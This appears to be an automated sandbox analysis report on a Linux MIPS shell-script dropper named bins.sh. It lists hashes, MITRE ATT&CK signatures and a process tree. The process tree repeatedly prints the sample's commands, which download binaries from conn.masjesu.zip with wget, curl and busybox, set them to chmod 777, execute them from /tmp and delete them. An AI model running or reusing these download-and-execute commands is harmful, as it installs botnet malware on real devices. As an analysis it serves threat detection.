3bb79a5bd1a8e0548a225109910467ec9ecb287c8291eb288ea74e8ed29b7828

Analysis

max time kernel
93s
max time network
95s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/12/2024, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241212-pxmapatrf1
SHA256 3bb79a5bd1a8e0548a225109910467ec9ecb287c8291eb288ea74e8ed29b7828
MD5 4eeee43fd305305d61c992653e5e65e8
SHA1 5c861d8a3b5835a2db47ddfd575c34f5586bf01f
SHA512 1f05db6753386376861932e1e8c55091d5d9bf7b5947f90d9f559290377af488d597f800c33b2f6377a4c95c7affeffffb97b8765bd2f96b8e20e20953adfd61
SSDEEP 192:t9PH4B9Ku1RWfPEmNnrAmb7K9hqo2EfUpx4vj1RWfPZDnrAQb7K9h42EfUpxzBPe:jPH4B9Ku1RWfPEm5b7K9hqobfUpx4vjs
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
865	chmod
931	chmod
945	chmod
966	chmod
987	chmod
994	chmod
762	chmod
794	chmod
980	chmod
769	chmod
896	chmod
973	chmod
1029	chmod
875	chmod
903	chmod
917	chmod
924	chmod
959	chmod
882	chmod
889	chmod
1022	chmod
1001	chmod
1015	chmod
858	chmod
952	chmod
1008	chmod
910	chmod
938	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
761	busybox
885	wget
892	wget
972	busybox
1021	busybox
977	curl
758	curl
864	busybox
886	curl
905	rm
934	wget
916	busybox
962	wget
1000	busybox
1012	curl
914	curl
942	curl
979	busybox
1004	wget
960	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
976	wget
1018	wget
801	wget
899	wget
923	busybox
941	wget
958	busybox
736	wget
862	curl
906	wget
1028	busybox
881	busybox
913	wget
969	wget
1011	wget
951	busybox
955	wget
963	curl
790	busybox
879	curl
893	curl
928	curl
948	wget
970	curl
1007	busybox
773	curl
900	curl
904	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
990	wget
991	curl
1005	curl
1025	wget
766	curl
768	busybox
869	curl
927	wget
930	busybox
812	curl
857	busybox
861	wget
868	wget
909	busybox
874	busybox
1019	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	curl
File opened for modification	/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	curl
File opened for modification	/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	curl
File opened for modification	/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	curl
File opened for modification	/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	curl
File opened for modification	/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	curl
File opened for modification	/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	curl
File opened for modification	/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	curl
File opened for modification	/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	curl
File opened for modification	/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	curl
File opened for modification	/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	curl
File opened for modification	/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	curl
File opened for modification	/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	curl
File opened for modification	/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	curl
File opened for modification	/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	curl
File opened for modification	/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	curl
File opened for modification	/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	curl
File opened for modification	/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	curl
File opened for modification	/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	curl
File opened for modification	/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	curl
File opened for modification	/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	curl
File opened for modification	/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	curl
File opened for modification	/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	curl
File opened for modification	/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	curl
File opened for modification	/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	curl
File opened for modification	/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	curl
File opened for modification	/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	curl
File opened for modification	/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:731
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - System Network Configuration Discovery
  PID:736
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - System Network Configuration Discovery
  PID:761
- /bin/chmod
  chmod 777 P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  ./P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  PID:764
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - System Network Configuration Discovery
  PID:768
- /bin/chmod
  chmod 777 I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  ./I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  PID:771
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - System Network Configuration Discovery
  PID:790
- /bin/chmod
  chmod 777 lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  ./lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - System Network Configuration Discovery
  PID:857
- /bin/chmod
  chmod 777 ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  ./ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - System Network Configuration Discovery
  PID:864
- /bin/chmod
  chmod 777 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  ./8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  PID:867
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - System Network Configuration Discovery
  PID:868
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - System Network Configuration Discovery
  PID:874
- /bin/chmod
  chmod 777 NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  ./NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - System Network Configuration Discovery
  PID:881
- /bin/chmod
  chmod 777 zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  ./zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  PID:888
- /bin/chmod
  chmod 777 ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  ./ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  PID:895
- /bin/chmod
  chmod 777 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  ./7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  PID:902
- /bin/chmod
  chmod 777 hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  ./hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:904
- /bin/rm
  rm hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  ./lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  ./aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  ./EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  ./o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  PID:937
- /bin/chmod
  chmod 777 ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  ./ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  PID:940
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  PID:944
- /bin/chmod
  chmod 777 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  ./8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  PID:947
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:948
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:951
- /bin/chmod
  chmod 777 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  ./7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  PID:954
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:958
- /bin/chmod
  chmod 777 hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  ./hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:960
- /bin/rm
  rm hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:965
- /bin/chmod
  chmod 777 NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  ./NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - System Network Configuration Discovery
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - System Network Configuration Discovery
  PID:972
- /bin/chmod
  chmod 777 zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  ./zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - System Network Configuration Discovery
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/chmod
  chmod 777 ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  ./ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
